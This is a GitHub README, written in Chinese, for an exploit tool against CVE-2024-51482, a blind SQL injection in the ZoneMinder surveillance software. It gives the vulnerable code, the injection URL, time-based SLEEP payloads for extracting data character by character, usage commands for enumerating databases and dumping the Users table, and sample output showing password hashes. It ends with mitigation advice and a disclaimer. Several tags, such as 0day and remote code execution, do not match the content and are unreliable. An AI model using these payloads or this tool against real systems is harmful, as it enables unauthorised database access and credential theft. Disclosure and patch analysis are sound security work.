BridgerAlderson/CVE-2024-51482
GitHub: BridgerAlderson/CVE-2024-51482
针对开源监控软件 ZoneMinder 的 CVE-2024-51482 盲注漏洞,提供基于时间延迟的自动化检测与数据提取利用脚本。
Stars: 0 | Forks: 0
# CVE-2024-51482 - ZoneMinder 盲注
## 目录
- [概述](#-overview)
- [漏洞详情](#-vulnerability-details)
- [技术分析](#-technical-analysis)
- [漏洞利用指南](#-exploitation-guide)
- [安装](#installation)
- [使用示例](#-usage-examples)
- [缓解措施](#️-mitigation)
- [参考](#-references)
## 概述
CVE-2024-51482 是在 ZoneMinder(一种流行的开源 CCTV 监控软件)中发现的严重布尔型 SQL 注入漏洞。此缺陷影响 1.37.* 到 1.37.64 版本,允许拥有低权限的认证攻击者在底层数据库服务器上执行任意 SQL 命令。
| Metric | Value |
|---|---|
| **CVE ID** | CVE-2024-51482 |
| **CVSS Score** | 9.9 (Critical) |
| **Attack Vector** | Network |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Scope** | Changed |
| **Impact** | Confidentiality, Integrity, Availability - HIGH |
| **Patched Version** | 1.37.65 |
## 漏洞详情
### 受影响版本
- **易受攻击:** ZoneMinder v1.37.0 到 v1.37.64。
- **已修补:** ZoneMinder v1.37.65 及更高版本。
### 根本原因
该漏洞存在于 `web/ajax/event.php` 文件的 `removetag` 函数中。参数 `tid` (Tag ID) 被直接拼接到 SQL 查询中,没有经过适当的清理或参数化。
**易受攻击的代码:**
```
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
```
**已修复的代码:**
```
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
```
### 攻击载体
易受攻击的端点可以通过以下方式触发:
```
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]
```
## 技术分析
### 为什么是布尔型盲注?
注入点不会直接在响应中返回查询结果,使得传统的 UNION 攻击无法进行。相反,我们必须通过布尔条件或时间延迟来推断信息。
- **布尔型方法:**
- True 条件 → 正常响应时间。
- False 条件 → 正常响应时间。
- 需要应用程序行为中有可观察到的差异。
- **时间型方法(更可靠):**
- True 条件 → 延迟响应 (SLEEP)。
- False 条件 → 正常响应时间。
### 漏洞利用机制
我们的漏洞利用使用 `SLEEP()` 函数进行基于时间的提取:
```
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
```
当此条件评估为 true 时,数据库会休眠 2 秒,从而在 HTTP 响应中产生可测量的延迟。
### 字符提取过程
- **二分查找:** 对于每个字符位置,我们使用 `ASCII(SUBSTRING()) > MID` 测试范围。
- **时间测量:** 如果条件为 true,则触发 `SLEEP`。
- **字符重构:** 逐个字符构建字符串。
提取位置 1 处字符的示例 payload:
```
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
```
## 漏洞利用指南
### 前置条件
- 目标运行 ZoneMinder 1.37.0 - 1.37.64。
- 有效凭据(默认:admin/admin)。
- 访问 ZoneMinder Web 界面的网络权限。
### 安装
```
# Clone repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Make script executable
chmod +x CVE-2024-51482.py
# Install required dependencies
pip3 install requests
```
### 基本用法
```
# Test if target is vulnerable
python3 CVE-2024-51482.py -i -u admin -p admin --test
# Discover all databases
python3 CVE-2024-51482.py -i -u admin -p admin --discover
# List tables in a specific database
python3 CVE-2024-51482.py -i -u admin -p admin --tables zm
# List columns in a specific table
python3 CVE-2024-51482.py -i -u admin -p admin --columns zm Users
# Dump data from specific columns
python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Users "Username,Password"
# Dump users table (default)
python3 CVE-2024-51482.py -i -u admin -p admin --users
# Enable debug output for detailed extraction process
python3 CVE-2024-51482.py -i -u admin -p admin --users --debug
# Adjust sleep time for more reliable extraction
python3 CVE-2024-51482.py -i -u admin -p admin --users --sleep 3
# Disable colored output
python3 CVE-2024-51482.py -i -u admin -p admin --users --no-color
```
## 使用示例
**示例 1:漏洞测试**
```
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
```
**示例 2:数据库枚举**
```
$ python3 CVE-2024-51482.py -i -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target:
[*] Logging in as 'admin' on ...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found:
1. information_schema
2. performance_schema
3. zm
```
**示例 3:转储用户凭据**
```
$ python3 CVE-2024-51482.py -i -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target:
[*] Logging in as 'admin' on ...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2
User: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Enabled: 1
User: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Enabled: 1
```
**示例 4:自定义数据提取**
```
# Dump specific columns from Events table
python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
```
## 漏洞利用如何工作
### 逐步分解
1. **认证:** 脚本首先向 ZoneMinder 认证以获取有效的会话 cookie。
2. **基线测量:** 发送 5 个正常请求以建立平均响应时间。
3. **漏洞确认:** 使用 `SLEEP(2)` payload 进行测试,以验证注入是否有效。
4. **字符提取:** 对于每个字符位置,二分查找确定 ASCII 值:
- 查询:`ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}` .
- 如果条件为 true → 触发 `SLEEP` → 响应延迟。
- 如果条件为 false → 立即响应。
5. **字符串重构:** 将字符连接起来形成完整的字符串。
### 关键特性
- **二分查找算法:** 以 log₂(95) ≈ 7 个请求/字符的速度提取字符。
- **自适应计时:** 自动校准基线以进行准确检测。
- **进度指示器:** 显示实时提取进度。
- **错误恢复:** 优雅地处理连接超时。
- **调试模式:** 显示详细的逐字符提取过程。
## 缓解措施
### 紧急行动
- **将 ZoneMinder 更新到 1.37.65 或更高版本:**
sudo apt-get update
sudo apt-get install zoneminder
- **如果无法打补丁,请限制对易受攻击脚本的访问:**
# Apache configuration
Require ip 192.168.0.0/16
- 对数据库账户实施最小权限原则。
- **监控日志中可疑的 SQL 注入尝试:**
grep -i "sleep\|union\|select" /var/log/zm/*.log
### 长期建议
- 对所有数据库交互使用参数化查询 .
- 实施 Web Application Firewall (WAF) 规则 .
- 定期进行安全审计和渗透测试 .
- 保持 ZoneMinder 和所有依赖项更新 .
## 参考
- GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
- NVD Entry - CVE-2024-51482
- Patch Commit
- CISA Vulnrichment
- Tenable Nessus Plugin
- Check Point Advisory
## 免责声明
此工具仅用于教育和安全测试目的。未经授权测试计算机系统是非法的。在测试任何系统之前,请务必获得适当的授权。
## CVSS 向量字符串
**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H**
| Metric | Value |
|---|---|
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Scope** | Changed |
| **Confidentiality** | High |
| **Integrity** | High |
| **Availability** | High |
标签:0day, CCTV, CISA项目, CVE-2024-51482, Maven, Nday, PHP安全, PoC, Web安全, ZoneMinder, 多线程, 数据库攻击, 暴力破解, 漏洞分析, 漏洞验证, 盲注, 编程工具, 网络安全, 蓝队分析, 视频监控, 路径探测, 远程代码执行, 逆向工具, 隐私保护